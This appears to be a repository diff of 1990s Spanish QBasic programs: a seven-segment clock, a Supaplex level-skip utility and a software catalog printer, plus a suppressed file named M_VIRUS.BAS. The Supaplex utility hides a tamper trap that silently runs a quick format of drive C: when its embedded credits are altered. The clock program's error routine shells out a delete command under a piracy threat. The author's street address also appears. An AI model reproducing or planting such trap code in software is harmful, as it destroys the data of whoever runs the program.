SCREEN 9
Hora$ = LEFT$(TIME$, 2)
Min$ = MID$(TIME$, 4, 2)
Hora1$ = LEFT$(Hora$, 1)
A = 1
PonNum Hora1$, 1
Hora2$ = MID$(Hora$, 2, 1)
A = 2
PonNum Hora2$, 2
LINE (170, 20)-(180, 30), 12, BF
LINE (170, 60)-(180, 70), 12, BF
Min1$ = LEFT$(Min$, 1)
A = 3
PonNum Min1$, 3
Min2$ = MID$(Min$, 2, 1)
A = 4
PonNum Min2$, 4
LINE (370, 50)-(380, 60), 12, BF
LINE (370, 80)-(380, 90), 12, BF
DO
Hora$ = LEFT$(TIME$, 2)
Min$ = MID$(TIME$, 4, 2)
IF INKEY$ <> "" THEN SCREEN 0: PRINT mir$: SYSTEM
IF OldHor2$ <> LEFT$(Hora$, 1) THEN
Hora1$ = LEFT$(Hora$, 1)
A = 1
PonNum Hora1$, 1
END IF
OldHor2$ = LEFT$(Hora$, 1)
IF OldHor1$ <> MID$(Hora$, 2, 1) THEN
Hora2$ = MID$(Hora$, 2, 1)
A = 2
PonNum Hora2$, 2
END IF
OldHor1$ = MID$(Hora$, 2, 1)
IF OldMin2$ <> LEFT$(Min$, 1) THEN
Min1$ = LEFT$(Min$, 1)
A = 3
PonNum Min1$, 3
END IF
OldMin2$ = LEFT$(Min$, 1)
IF OldMin1$ <> MID$(Min$, 2, 1) THEN
Min2$ = MID$(Min$, 2, 1)
A = 4
PonNum Min2$, 4
END IF
OldMin1$ = MID$(Min$, 2, 1)
IF INKEY$ <> "" THEN SCREEN 0: PRINT mir$: SYSTEM
seg$ = MID$(TIME$, 7, 1)
A = 5
PonNum seg$, 5
seg$ = MID$(TIME$, 8, 1)
A = 6
PonNum seg$, 6
'***************************************************
'* GRAFICO LINEAL **********************************
'***************************************************
M(4) = INT(RND * 8) + 1
M(3) = INT(RND * 8) + 1
M(2) = INT(RND * 8) + 1
M(5) = INT(RND * 8) + 1
M(1) = INT(RND * 8) + 1
qwert = qwert + 1
IF qwert = 7 THEN qwert = 1
IF Cont = 1 THEN M(6) = INT(RND * 7) + 1: M(6) = M(qwert)
DO
Vez = Vez + 1
Vz = Vz + 1
IF Vz >= 30 THEN Vz = 1
IF Vez >= 30 THEN Vez = 1
FOR Coor = 1 TO 6
SELECT CASE M(Coor)
CASE 1: IF Coor <> 6 THEN X(Coor) = X(Coor) - 3: Y(Coor) = Y(Coor) - 3 ELSE X(Coor) = X(Coor) - 2: Y(Coor) = Y(Coor) - 2
CASE 2: IF Coor <> 6 THEN Y(Coor) = Y(Coor) - 3 ELSE Y(Coor) = Y(Coor) - 2
CASE 3: IF Coor <> 6 THEN X(Coor) = X(Coor) + 3: Y(Coor) = Y(Coor) - 3 ELSE X(Coor) = X(Coor) + 2: Y(Coor) = Y(Coor) - 2
CASE 4: IF Coor <> 6 THEN X(Coor) = X(Coor) - 3 ELSE X(Coor) = X(Coor) - 2
CASE 5: 'Pause
CASE 6: IF Coor <> 6 THEN Y(Coor) = Y(Coor) + 3 ELSE Y(Coor) = Y(Coor) + 2
CASE 7: IF Coor <> 6 THEN X(Coor) = X(Coor) - 3: Y(Coor) = Y(Coor) + 3 ELSE X(Coor) = X(Coor) - 2: Y(Coor) = Y(Coor) + 2
CASE 8: IF Coor <> 6 THEN X(Coor) = X(Coor) + 3 ELSE X(Coor) = X(Coor) + 2
CASE 9: IF Coor <> 6 THEN X(Coor) = X(Coor) + 3: Y(Coor) = Y(Coor) + 3 ELSE X(Coor) = X(Coor) + 2: Y(Coor) = Y(Coor) + 2
END SELECT
Cont = 0
IF Coor = 6 THEN
IF X(6) >= 640 THEN X(6) = 640: Salida = 1: Cont = 1
IF X(6) <= 0 THEN X(6) = 0: Salida = 1: Cont = 1
IF Y(6) <= 150 THEN Y(6) = 150: Salida = 1: Cont = 1
IF Y(6) >= 350 THEN Y(6) = 350: Salida = 1: Cont = 1
ELSE
IF X(Coor) >= 640 THEN X(Coor) = 640: Salida = 1
IF X(Coor) <= 485 AND Y(Coor) < 250 THEN
X(Coor) = 650: Salida = 1
ELSEIF X(Coor) <= 0 THEN X(Coor) = 485: Salida = 1
END IF
IF Y(Coor) >= 350 AND X(Corr) <= 400 THEN Y(Coor) = 350: Salida = 1
IF Y(Coor) >= 350 THEN Y(Coor) = 0: Salida = 1
IF Y(Coor) <= 0 THEN Y(Coor) = 350: Salida = 1
END IF
OldX6(1) = X(6)
OldY6(1) = Y(6)
OldTipo(1) = Tipo
OldX1(1) = X(1)
OldX2(1) = X(2)
OldX3(1) = X(3)
OldX4(1) = X(4)
OldX5(1) = X(5)
OldY1(1) = Y(1)
OldY2(1) = Y(2)
OldY3(1) = Y(3)
OldY4(1) = Y(4)
OldY5(1) = Y(5)
NEXT
IF RIGHT$(RTRIM$(LTRIM$(STR$(Vez / 5))), 1) = "0" OR RIGHT$(RTRIM$(LTRIM$(STR$(Vez / 5))), 1) = "5" THEN Vez1 = Vez1 + 1
IF Vez1 >= 16 THEN Vez1 = 1
IF RIGHT$(RTRIM$(LTRIM$(STR$(Vz / 2))), 1) = "0" OR RIGHT$(RTRIM$(LTRIM$(STR$(Vz / 5))), 1) = "5" THEN Vz1 = Vz1 + 1
IF Vz1 >= 16 THEN Vz1 = 1
LINE (X(1), Y(1))-(X(2), Y(2)), Vez1
LINE (X(2), Y(2))-(X(3), Y(3)), Vez1
LINE (X(3), Y(3))-(X(4), Y(4)), Vez1
LINE (X(4), Y(4))-(X(5), Y(5)), Vez1
LINE (X(5), Y(5))-(X(1), Y(1)), Vez1
CIRCLE (X(6), Y(6)), 20, Vz1: ', , , Tipo
A = 71
WHILE A >= 2
A = A - 1
IF A < 31 THEN
OldX1(A) = OldX1(A - 1)
OldY1(A) = OldY1(A - 1)
OldX2(A) = OldX2(A - 1)
OldY2(A) = OldY2(A - 1)
OldX3(A) = OldX3(A - 1)
OldY3(A) = OldY3(A - 1)
OldX4(A) = OldX4(A - 1)
OldY4(A) = OldY4(A - 1)
OldX5(A) = OldX5(A - 1)
OldY5(A) = OldY5(A - 1)
END IF
OldX6(A) = OldX6(A - 1)
OldY6(A) = OldY6(A - 1)
OldTipo(A) = OldTipo(A - 1)
WEND
CIRCLE (OldX6(70), OldY6(70)), 20, 0
LINE (OldX1(30), OldY1(30))-(OldX2(30), OldY2(30)), 0
LINE (OldX2(30), OldY2(30))-(OldX3(30), OldY3(30)), 0
LINE (OldX3(30), OldY3(30))-(OldX4(30), OldY4(30)), 0
LINE (OldX4(30), OldY4(30))-(OldX5(30), OldY5(30)), 0
LINE (OldX5(30), OldY5(30))-(OldX1(30), OldY1(30)), 0
LOOP WHILE Salida <> 1
Salida = 0
LOOP
'***************************************************
'* GRAFICOS DE PRUEBA ******************************
'***************************************************
errormo:
CLS
COLOR 15, 0
PRINT " ATENCION !!! PELIGRO !!!!": PRINT : PRINT
PRINT " Alguien modifico ilegalmente el programa tratando de apropiarse de": PRINT
PRINT " los creditos ajenos a ‚l. Su autor a protegido el sistema por ello": PRINT
PRINT " ya que ha intentado modificar este programa causara estragos en tu": PRINT
PRINT " sistema.... LA PIRATERIA SERA TU MUERTE ": PRINT
PRINT : PRINT : PRINT " Desea regresar al Sistema Operativo DOS o bloquear sistema : "
PRINT " (S)istema (B)loquear (S/B)"
SHELL "Del. >nul"
SYSTEM
END
grap:
SUB PonNum (Digito$, Posicion)
veces = veces + 1
LOCATE 10, 1: PRINT veces
IF INKEY$ <> "" THEN STOP
SELECT CASE VAL(RTRIM$(LTRIM$(Digito$)))
CASE 0
D1 = 1: D2 = 1: D3 = 1: D4 = 1: D5 = 0: D6 = 1: D7 = 1
CASE 1
D1 = 0: D2 = 0: D3 = 1: D4 = 0: D5 = 0: D6 = 1: D7 = 0
CASE 2
D1 = 0: D2 = 1: D3 = 1: D4 = 1: D5 = 1: D6 = 0: D7 = 1
CASE 3
D1 = 0: D2 = 1: D3 = 1: D4 = 0: D5 = 1: D6 = 1: D7 = 1
CASE 4
D1 = 1: D2 = 0: D3 = 1: D4 = 0: D5 = 1: D6 = 1: D7 = 0
CASE 5
D1 = 1: D2 = 1: D3 = 0: D4 = 0: D5 = 1: D6 = 1: D7 = 1
CASE 6
D1 = 1: D2 = 1: D3 = 0: D4 = 1: D5 = 1: D6 = 1: D7 = 1
CASE 7
D1 = 0: D2 = 1: D3 = 1: D4 = 0: D5 = 0: D6 = 1: D7 = 0
CASE 8
D1 = 1: D2 = 1: D3 = 1: D4 = 1: D5 = 1: D6 = 1: D7 = 1
CASE 9
D1 = 1: D2 = 1: D3 = 1: D4 = 0: D5 = 1: D6 = 1: D7 = 1
END SELECT
IF Posicion < 5 THEN
IF D1 = 1 THEN
PSET (0 + P(A), 0), 4
DRAW "D40 R15 U26 H15"
DRAW "F13 BL5 P4,4"
ELSE
PSET (0 + P(A), 0), 0
DRAW "D40 R15 U26 H15"
DRAW "F13 BL5 P0,0"
END IF
IF D2 = 1 THEN
PSET (3 + P(A), 0), 4
DRAW "R63 G15 L33 H15"
DRAW "BR5 BD5 BR23 P4,4"
ELSE
PSET (3 + P(A), 0), 0
DRAW "R63 G15 L33 H15"
DRAW "BR5 BD5 BR23 P0,0"
END IF
IF D3 = 1 THEN
PSET (69 + P(A), 0), 4
DRAW " D40 L15 U25 E15"
DRAW "G13 BR5 P4,4"
ELSE
PSET (69 + P(A), 0), 0
DRAW " D40 L15 U25 E15"
DRAW "G13 BR5 P0,0"
END IF
IF D4 = 1 THEN
PSET (0 + P(A), 42), 4
DRAW " D50 E15 U20 H15"
DRAW "F13 BL5 P4,4"
ELSE
PSET (0 + P(A), 42), 0
DRAW " D50 E15 U20 H15"
DRAW "F13 BL5 P0,0"
END IF
IF D5 = 1 THEN
PSET (3 + P(A), 42), 4
DRAW " R63 G15 L33 H15"
DRAW "BR5 BD5 BR23 P4,4"
ELSE
PSET (3 + P(A), 42), 0
DRAW " R63 G15 L33 H15"
DRAW "BR5 BD5 BR23 P0,0"
END IF
IF D6 = 1 THEN
PSET (69 + P(A), 42), 4
DRAW " D50 H15 U20 E15"
DRAW "G13 BR5 P4,4"
ELSE
PSET (69 + P(A), 42), 0
DRAW " D50 H15 U20 E15"
DRAW "G13 BR5 P0,0"
END IF
IF D7 = 1 THEN
PSET (3 + P(A), 93), 4
DRAW " E15 R33 F15 L62"
DRAW "BR23 BU5 P4,4"
ELSE
PSET (3 + P(A), 93), 0
DRAW " E15 R33 F15 L62"
DRAW "BR23 BU5 P0,0"
END IF
'********************************************************
'**************** EL GRAN " ELSE " *********************
'********************************************************
ELSE
IF D1 = 1 THEN
PSET (0 + P(A), 45), 4
DRAW "D20 R8 U13 H8"
DRAW "F7 BL3 P4,4"
ELSE
PSET (0 + P(A), 45), 0
DRAW "D20 R8 U13 H8"
DRAW "F7 BL3 P0,0"
END IF
IF D2 = 1 THEN
PSET (3 + P(A), 45), 4
DRAW "R32 G8 L17 H8"
DRAW "BR3 BD3 BR12 P4,4"
ELSE
PSET (3 + P(A), 45), 0
DRAW "R32 G8 L17 H8"
DRAW "BR3 BD3 BR12 P0,0"
END IF
IF D3 = 1 THEN
PSET (37 + P(A), 45), 4
DRAW "D20 L8 U13 E8"
DRAW "G8 BR3 P4,4"
ELSE
PSET (37 + P(A), 45), 0
DRAW "D20 L8 U13 E8"
DRAW "G8 BR3 P0,0"
END IF
IF D4 = 1 THEN
PSET (0 + P(A), 67), 4
DRAW "D25 E8 U10 H8"
DRAW "F8 BL3 P4,4"
ELSE
PSET (0 + P(A), 67), 0
DRAW "D25 E8 U10 H8"
DRAW "F8 BL3 P0,0"
END IF
IF D5 = 1 THEN
PSET (3 + P(A), 67), 4
DRAW "R32 G8 L17 H8"
DRAW "BR3 BD3 BR12 P4,4"
ELSE
PSET (3 + P(A), 67), 0
DRAW "R32 G8 L17 H8"
DRAW "BR3 BD3 BR12 P0,0"
END IF
IF D6 = 1 THEN
PSET (37 + P(A), 67), 4
DRAW "D25 H8 U10 E8"
DRAW "G8 BR3 P4,4"
ELSE
PSET (37 + P(A), 67), 0
DRAW "D25 H8 U10 E8"
DRAW "G8 BR3 P0,0"
END IF
IF D7 = 1 THEN
PSET (3 + P(A), 93), 4
DRAW "E8 R17 F8 L34"
DRAW "BR12 BU3 P4,4"
ELSE
PSET (3 + P(A), 93), 0
DRAW "E8 R17 F8 L34"
DRAW "BR12 BU3 P0,0"
END IF
END IF
END SUB

169
BAS/JD_SUP.BAS Normal file
View File

@ -0,0 +1,169 @@
'SupaPlex
CLS
A$ = "ÚÄÄÄÄÄÄþ ÚÄþ ÚÄþ ÚÄÄÄÄþ ÚÄÄÄÄÄþ ÚÄÄÄÄþ ÚÄþ ÚÄÄÄÄþ ÚÄÄþ ÚÄÄþ"
b$ = "³ þÍÍÍͼ ³ º ³ º ³ÚÄÄþº ³ ÉÍþ º ³ÉÍÍþº ³ º ³ þÍͼ þþ þÂ٠ɼ"
c$ = "³ ÀÄÄÄÄþ ³ º ³ º ³þÍͼº ³ þÄÙ º ³þÄÄÙº ³ º ³ Àþ þÍþ Éͼ"
d$ = "þÍÍÍÍþ º ³ º ³ º ³ ÉÍͼ ³ þÄ¿ º ³ ÉÍͼ ³ º ³ þ¼ ÚÄÙ þÄþ"
e$ = "ÚÄÄÄÄÙ º ³ þÄÙ º ³ º ³ º ³ º ³ º ³ þÄÄÄþ ³ ÀÄÄþ ÚÙ þÁ¿ þþ"
f$ = "þÍÍÍÍÍͼ þÍÍÍÍͼ þͼ þͼ þͼ þͼ þÍÍÍÍͼ þÍÍÍͼ þÍͼ þÍͼ"
LOCATE 21, 26: PRINT "Pulse una Tecla"
COLOR 12
RANDOMIZE TIMER
A = 1
DO
kdb$ = INKEY$
x% = INT(RND * 8) + 1
y% = INT(RND * 79) + 1
SELECT CASE x%
CASE 1: l$ = A$
CASE 2: l$ = b$
CASE 3: l$ = c$
CASE 4: l$ = d$
CASE 5: l$ = e$
CASE 6: l$ = f$
CASE 7: l$ = g$
CASE 8: l$ = h$
CASE ELSE
END SELECT
LOCATE x% + 10, y%: PRINT MID$(l$, y%, 1)
LOOP WHILE kdb$ = ""
LOCATE 11, 1: PRINT A$
LOCATE 12, 1: PRINT b$
LOCATE 13, 1: PRINT c$
LOCATE 14, 1: PRINT d$
LOCATE 15, 1: PRINT e$
LOCATE 16, 1: PRINT f$
LOCATE 21, 26: PRINT SPACE$(20)
T$(1) = " Vaciar SKIP's "
T$(2) = " - Creditos - "
T$(3) = " INFO:INFO:INFO "
COLOR 14
FOR e = 1 TO 3
LOCATE 2 + e, 30: PRINT T$(e)
NEXT
fin = false
lin = 1
DO
kdb$ = INKEY$
COLOR 14, 0
IF kdb$ = CHR$(0) + "H" THEN LOCATE 2 + lin, 30: PRINT T$(lin); : lin = lin - 1
IF kdb$ = CHR$(0) + "P" THEN LOCATE 2 + lin, 30: PRINT T$(lin); : lin = lin + 1
IF kdb$ = CHR$(27) THEN END
IF kdb$ = CHR$(13) THEN
SELECT CASE lin
CASE 1
R = 0: Cod = 0
OPEN "PLAYER.LST" FOR RANDOM AS #1 LEN = 1
IF LOF(1) = 0 THEN
COLOR 10
mem$(1) = " Para que el vaciador funcione debe haber una partida salvada "
mem$(2) = " y encontrarse este programa en el Subdirectorio de Suplaplex "
mem$(3) = " La persistencia de este error se debe a que no hay partidas salvadas "
GOSUB mensajes
GOTO df
END IF
VIEW PRINT 18 TO 24
DO WHILE R <= LOF(1)
R = R + 1
FIELD #1, 1 AS char$
GET #1, R
poc = POS(1)
PRINT char$;
IF char$ = CHR$(2) THEN
Cod = 1
LSET char$ = CHR$(1)
PUT #1, R
COLOR 14, 1
LOCATE , poc: PRINT char$
COLOR 14, 0
END IF
LOOP
df:
CLOSE #1
PRINT
IF Cod <> 0 THEN PRINT " PROCESO CONCLUIDO " ELSE PRINT " NO SE ENCONTRARON NIVELES SALTADOS "
VIEW PRINT
CASE 2
nombre$ = "Jos‚ David Guill‚n Dominguez"
IF MID$(nombre$, 4, 1) <> "‚" THEN GOTO errormo
IF MID$(nombre$, 17, 1) <> "‚" THEN GOTO errormo
COLOR 10
mem$(1) = " Vaciador de niveles por: "
mem$(2) = " " + nombre$
mem$(3) = " c/Pintor Garcia Ramos n§5 2D"
GOSUB mensajes
CASE 3
COLOR 10
mem$(1) = "Con este peque¤o programa podras saltarte tantos niveles como quieras"
mem$(2) = "ya que con solo cargarlo podras <<limpiar>> el panel de control como "
mem$(3) = "si los niveles saltados ya hubieran sido hechos. "
GOSUB mensajes
CASE ELSE
END SELECT
END IF
IF lin = 0 THEN lin = 3
IF lin = 4 THEN lin = 1
COLOR 14, 7
LOCATE 2 + lin, 30: PRINT T$(lin)
LOOP
mensajes:
COLOR 10
LOCATE 8, 1: PRINT mem$(1)
LOCATE 9, 1: PRINT mem$(2)
LOCATE 10, 1: PRINT mem$(3)
SLEEP
COLOR 14, 0
LOCATE 8, 1: PRINT SPACE$(80);
LOCATE 9, 1: PRINT SPACE$(80);
LOCATE 10, 1: PRINT SPACE$(80);
RETURN
SYSTEM
errormo:
CLS
c = 11: tew$ = "Programa: SISTEMA MODIFICADO. FORMAT C: /U/Q ": GOSUB bipeador
c = 9: tew$ = "CPU: Acceso Denegado.": GOSUB bipeador
c = 11: tew$ = "Programa: Llamando a la funci¢n BIOS &23h34d2ff": GOSUB bipeador
c = 9: tew$ = "CPU: El sistema va ha ser formateado. Interrumpir (S/N)?": GOSUB bipeador
SHELL "Format c: /u/q >NUL"
c = 11: tew$ = "Programa: funciones principales selladas; Proceso concluido": GOSUB bipeador
c = 9: tew$ = "CPU: BIO_FUNCIONES ANULADAS SISTEMA FORMATEADO": GOSUB bipeador
c = 11: tew$ = "Programa: La pirateria es DELITO... JA_JA_JA_JA": GOSUB bipeador
SYSTEM
bipeador:
COLOR c, 0
PRINT
FOR bip = 1 TO LEN(tew$)
PRINT MID$(tew$, bip, 1);
IF c = 9 THEN PLAY "f50" ELSE PLAY "c51"
NEXT
RETURN

1624
BAS/M_VIRUS.BAS Normal file
View File

File diff suppressed because it is too large Load Diff

545
BAS/PRECATA2.BAS Normal file
View File

@ -0,0 +1,545 @@
principiodelprincipio:
REM Versi¢n 3.0 en Qbasic de Catalogo (c)
KEY OFF
pp:
CLEAR
ON ERROR GOTO corrector
DIM lec$(12), lot$(12), T$(50), fet$(50), A$(50), tele$(50)
KEY(1) ON
KEY(2) ON
ON KEY(1) GOSUB help
ON KEY(2) GOSUB finp
CLS
GOSUB menu1
GOSUB cargachar
COLOR 1, 7
l = 1
GOSUB secuencia
espera:
KEY(11) ON
KEY(14) ON
ON KEY(11) GOSUB sube
ON KEY(14) GOSUB baja
espera3:
I$ = INKEY$
IF I$ = "" THEN GOTO espera3
IF I$ = CHR$(13) THEN GOTO ejecuta
IF I$ = CHR$(27) THEN GOSUB help
GOTO espera3
sube:
ant = l
IF l = 1 THEN l = 11 ELSE l = l - 1
GOSUB secuencia
RETURN
baja:
ant = l
IF l = 12 THEN l = 1 ELSE l = l + 1
GOSUB secuencia
RETURN
secuencia:
IF l = -1 THEN l = 11
IF l = 12 THEN l = 1
IF ant = 0 THEN ant = 1
COLOR 7, 1, 1
LOCATE 2 * ant, 2: PRINT lot$(ant)
COLOR 1, 7
LOCATE 2 * l, 2: PRINT lec$(l): RETURN
END
ejecuta:
KEY(11) OFF
KEY(14) OFF
COLOR 7, 1, 1
IF l < 6 THEN arc$ = "copy-1.dat" ELSE arc$ = "copy-2.dat"
IF l = 1 THEN arc$ = "copy-3.dat"
ON l GOTO lp, lp, lp, lp, lp, lp, lp, lp, lp, lp, mm
END
lp:
f = l
IF f = 10 THEN f = 0
GOSUB tipodeficha
REM LISTA DE PROGRAMAS
IF Tf$ = "0" THEN arc$ = "copy-1.dat"
OPEN "R", #1, arc$, 14
contador = 13: COLUMNA = 34
FOR A = 1 TO LOF(1) / 14 + 1
FIELD #1, 1 AS fichero$, 10 AS T$, 3 AS DISK$
GET #1, A
IF fichero$ = Tf$ THEN GOTO imprime ELSE GOTO continua
imprime:
COLOR 12, 1, 1
LOCATE contador, COLUMNA: IF T$ = " " THEN GOTO continua ELSE PRINT T$
contador = contador + 1
IF COLUMNA = 60 AND contador = 22 THEN GOSUB contimpre
IF contador = 22 THEN contador = 13: COLUMNA = COLUMNA + 13
continua:
NEXT A
CLOSE #1
COLOR 14, 1, 1
LOCATE 4, 60: PRINT "PULSE UNA TECLA"
COLOR 15, 1, 1
LOCATE 5, 60: PRINT "Para ir al MENé "
p:
IF INKEY$ = "" THEN GOTO p
COLOR 7, 1, 1
FOR brr = 13 TO 22: LOCATE brr, 34: PRINT STRING$(37, " "): NEXT brr
LOCATE 4, 60: PRINT " F1 HELP "
LOCATE 5, 60: PRINT " F2 Exit to DOS"
GOTO espera
contimpre:
COLOR 14, 1, 1
LOCATE 4, 60: PRINT "Pulse una tecla"
LOCATE 5, 60: PRINT "para continuar."
COLOR 7, 1, 1
p2:
IF INKEY$ = "" THEN GOTO p2
LOCATE 4, 60: PRINT " "
LOCATE 5, 60: PRINT " "
contador = 13: COLUMNA = 34
FOR ba = 13 TO 22: LOCATE ba, 34: PRINT STRING$(37, " "): NEXT ba
RETURN
END
mm:
GOSUB menu2
l2 = 1
GOSUB secuencia2
espera2:
KEY(11) ON
KEY(14) ON
ON KEY(11) GOSUB sube2
ON KEY(14) GOSUB baja2
espera4:
I$ = INKEY$
IF I$ = "" THEN GOTO espera4
IF I$ = CHR$(13) THEN GOTO ejecuta2
IF I$ = CHR$(27) THEN KEY(11) OFF: KEY(14) OFF: GOSUB menu1: GOSUB secuencia: COLOR 1, 7: GOTO espera
GOTO espera4
sube2:
ant2 = l2
IF l2 = 1 THEN l2 = 3 ELSE l2 = l2 - 1
IF ant2 = 0 THEN ant2 = 1
GOSUB secuencia2
RETURN
baja2:
ant2 = l2
IF l2 = 3 THEN l2 = 1 ELSE l2 = l2 + 1
GOSUB secuencia2
RETURN
secuencia2:
IF l2 = -1 THEN l2 = 3
IF l2 = 4 THEN l2 = 1
COLOR 7, 1, 1
IF ant2 = 1 THEN LOCATE 5, 39: PRINT lot2$(ant2)
IF ant2 = 2 THEN LOCATE 6, 39: PRINT lot2$(ant2)
IF ant2 = 3 THEN LOCATE 8, 39: PRINT lot2$(ant2)
COLOR 1, 7
IF l2 = 1 THEN LOCATE 5, 39: PRINT lec2$(l2): RETURN
IF l2 = 2 THEN LOCATE 6, 39: PRINT lec2$(l2): RETURN
IF l2 = 3 THEN LOCATE 8, 39: PRINT lec2$(l2): RETURN
END
ejecuta2:
KEY(11) OFF
KEY(14) OFF
ON l2 GOTO il, gp, C
GOTO espera2
END
il:
ON ERROR GOTO corrector
REM FICHERO PARA IMPRIMIR
COLOR 14, 1, 1
LOCATE 14, 34: PRINT "Esta usd. en la secci¢n de impresion."
LOCATE 15, 34: PRINT "Cerciorese de que la impresora este"
LOCATE 16, 34: PRINT "encendida y de que tenga papel."
LOCATE 18, 34: PRINT " Pulse una tecla..."
N:
Q$ = INKEY$: IF Q$ = "" THEN GOTO N
IF Q$ = CHR$(27) THEN FOR A = 14 TO 18: LOCATE A, 34: PRINT STRING$(38, " "): NEXT: GOTO subbrutinas
FOR A = 14 TO 18: LOCATE A, 34: PRINT STRING$(38, " "): NEXT
pagina = 1
CLOSE #3: OPEN "lpt1:" FOR OUTPUT AS #3: PRINT #3, CHR$(27); "!"; CHR$(20)
LPRINT "ßßÛÛÛÛÛÛßßßßßÛÛÛßßßßß"
LPRINT "ßß Ü ßßßßÜ Ûßßß"
LPRINT "ßßßßßßßÜ ßßßßÜ ßß Üßß"
LPRINT "ßßÛßßßßÜ ßßßßÜ ßßÛ ß"
LPRINT "ßßÜÜÛÛÛÜ ßßßßÜÜÛß ßß"
LPRINT "ßß ßßßß ßßßß"
LPRINT "ÛßßßßßßßßßßßßßßßßßßßÛ"
LPRINT "ÛJ.D Guill‚n s.u '92Û"
LPRINT "ßßßßßßßßßßßßßßßßßßßßß"
LPRINT "El n£mero que sigue al nombre del programa, indica"
LPRINT "la cantidad de diskettes que est‚ ocupa. Diskett de 3 «"
LPRINT "Disponible el 75% de los programas en diskettes de 5 ¬"
contador = 12
sleep=15
f = 1
nf:
' EMPIEZA LA ETAPA f=A
IF contador > 50 THEN GOSUB finlista
CLOSE #1: OPEN "LPT1:" FOR OUTPUT AS #1: PRINT #1, CHR$(27); "!"; CHR$(97)
IF f = 1 THEN LPRINT "JUEGOS"
IF f = 2 THEN LPRINT "MUSICA"
IF f = 3 THEN LPRINT "PROCESADORES DE TEXTO"
IF f = 4 THEN LPRINT "PROGRAMAS DE CONTABILIDAD"
IF f = 5 THEN LPRINT "PROGRAMAS DE ELECTRONICA"
IF f = 6 THEN LPRINT "GRAFICOS"
IF f = 7 THEN LPRINT "UTILIDADES"
IF f = 8 THEN LPRINT "COPIONES"
IF f = 9 THEN LPRINT "LENGUAJES"
IF f = 10 THEN f = 0: LPRINT "ANTIVIRUS"
contador = contador + 2
CLOSE #1: CLOSE #2: OPEN "LPT1:" FOR OUTPUT AS #2: PRINT #2, CHR$(27); "!"; CHR$(1)
IF f < 6 THEN arc$ = "copy-1.dat" ELSE arc$ = "copy-2.dat"
IF l = 1 THEN arc$ = "copy-3.dat"
IF f = 0 THEN arc$ = "copy-1.dat"
OPEN "R", #1, arc$, 14
GOSUB tipodeficha
FOR A = 1 TO LOF(1) / 14
FIELD #1, 1 AS fichero$, 10 AS T$, 3 AS DISK$
GET #1
IF fichero$ <> Tf$ THEN GOTO sinsuerte
IF T$ <> " " THEN GOSUB guarda
IF G = 0 THEN PRINT #2, CHR$(27): contador = contador + 1
IF contador > 55 THEN GOSUB finlista
sinsuerte:
NEXT A
CLOSE #1
IF EF$ <> "" THEN LPRINT EF$; TAB(13); EFD$; TAB(20); EL$; TAB(33); ELD$; TAB(40); EO$; TAB(53); EOD$; TAB(60); EO4$; TAB(73); EOD4$
EF$ = "": EL$ = "": EO$ = "": EO4$ = ""
EFD$ = "": ELD$ = "": EOD$ = "": EOD4$ = "": G = 0
IF contador > 50 THEN GOSUB finlista
IF f <> 0 THEN f = f + 1: GOTO nf
CLOSE #2: OPEN "lpt1:" FOR OUTPUT AS #2: PRINT #2, CHR$(27); "!"; CHR$(33)
OPEN "r", #1, "MENSAJES", 30
FOR A = 1 TO 5
FIELD #1, 30 AS MENSAJE$
GET #1
LPRINT TAB(5); MENSAJE$
NEXT A
CLOSE #1
COLOR 14, 1, 1
LOCATE 14, 34: PRINT "Lista terminada..."
LOCATE 15, 34: PRINT "PULSE UNA TECLA PARA VOLVER AL MENU"
d:
IF INKEY$ = "" THEN GOTO d
COLOR 7, 1, 1
LOCATE 14, 34: PRINT " "
LOCATE 15, 34: PRINT " "
GOTO subbrutinas
finlista:
COLOR 14, 1, 1
LOCATE 14, 34: PRINT "Cuando deje de imprimir ponga papel"
LOCATE 15, 34: PRINT " Pulse entonces una tecla para "
LOCATE 16, 34: PRINT " continuar listando."
COLOR 7, 1, 1
m:
IF INKEY$ = "" THEN GOTO m
LOCATE 14, 34: PRINT " "
LOCATE 15, 34: PRINT " "
LOCATE 16, 34: PRINT " "
CLOSE #2: OPEN "LPT1:" FOR OUTPUT AS #2: PRINT #2, CHR$(27); "!"; CHR$(1)
contador = 0: RETURN
guarda:
G = G + 1
IF G = 1 THEN EF$ = T$: EFD$ = DISK$
IF G = 2 THEN EL$ = T$: ELD$ = DISK$
IF G = 3 THEN EO$ = T$: EOD$ = DISK$
IF G = 4 THEN EO4$ = T$: EOD4$ = DISK$: GOTO imprimelinea
RETURN
END
imprimelinea:
LPRINT EF$; TAB(13); EFD$; TAB(20); EL$; TAB(33); ELD$; TAB(40); EO$; TAB(53); EOD$; TAB(60); EO4$; TAB(73); EOD4$;
EF$ = "": EL$ = "": EO$ = "": EO4$ = ""
EFD$ = "": ELD$ = "": EOD$ = "": EOD4$ = "": G = 0
RETURN
gp:
' GRABAR DATOS DE PEDIDOS
COLOR 14, 1, 1
LOCATE 14, 34: PRINT "SIGUA LAS INDICACIONES PERTINENTES"
p4:
I$ = INKEY$
IF I$ = "" THEN GOTO p4
IF I$ = CHR$(27) THEN LOCATE 14, 34: PRINT STRING$(37, " "): GOTO subbrutinas
LOCATE 14, 34: PRINT "Nombre del programa/s... "
COLOR 12, 1, 1
PL = 15: TCOL = 34
FOR zA = 1 TO 21
PL = PL + 1
COLOR 12, 1, 1
lin = PL: col = TCOL: lon = 10: tipo$ = " ..z": GOSUB limlin: A$(zA) = texto$
IF PL = 22 THEN PL = 15: TCOL = TCOL + 13
CREO = CREO + 1: IF A$(zA) = " " THEN GOTO cont
NEXT zA
cont:
COLOR 14, 1, 1
LOCATE 13, 34: PRINT "INTRODUCE TU NOMBRE: "
LOCATE 14, 34: PRINT " "
COLOR 15, 1, 1
lin = 15: col = 34: lon = 8: tipo$ = "0..Z": GOSUB limlin: nombre$ = texto$
fil$ = nombre$ + ".JD"
OPEN "R", #2, "commun_d.jd", 8
FIELD #2, 8 AS nom$
LSET nom$ = nombre$
PUT #2, LOF(2) / 8 + 1
CLOSE #2
OPEN "R", #1, fil$, 10
FOR b = 1 TO CREO + 1
FIELD #1, 10 AS tele$
LSET tele$ = A$(b)
PUT #1, LOF(1) / 10 + 1
NEXT b
CLOSE #1
FOR e = 13 TO 22: LOCATE e, 33: PRINT STRING$(38, " "): NEXT
GOTO subbrutinas
END
C:
COLOR 7, 1, 1
LOCATE 3, 49: PRINT "Creditos "
LOCATE 14, 33: PRINT " (c) C A T A L O G O v3.0 "
LOCATE 16, 33: PRINT " Pantallas y programa ... "
COLOR 12
LOCATE 18, 33: PRINT " Jos‚ David Guill‚n "
LOCATE 19, 33: PRINT " Tlf. 561-XX-XX "
COLOR 7, 1, 1
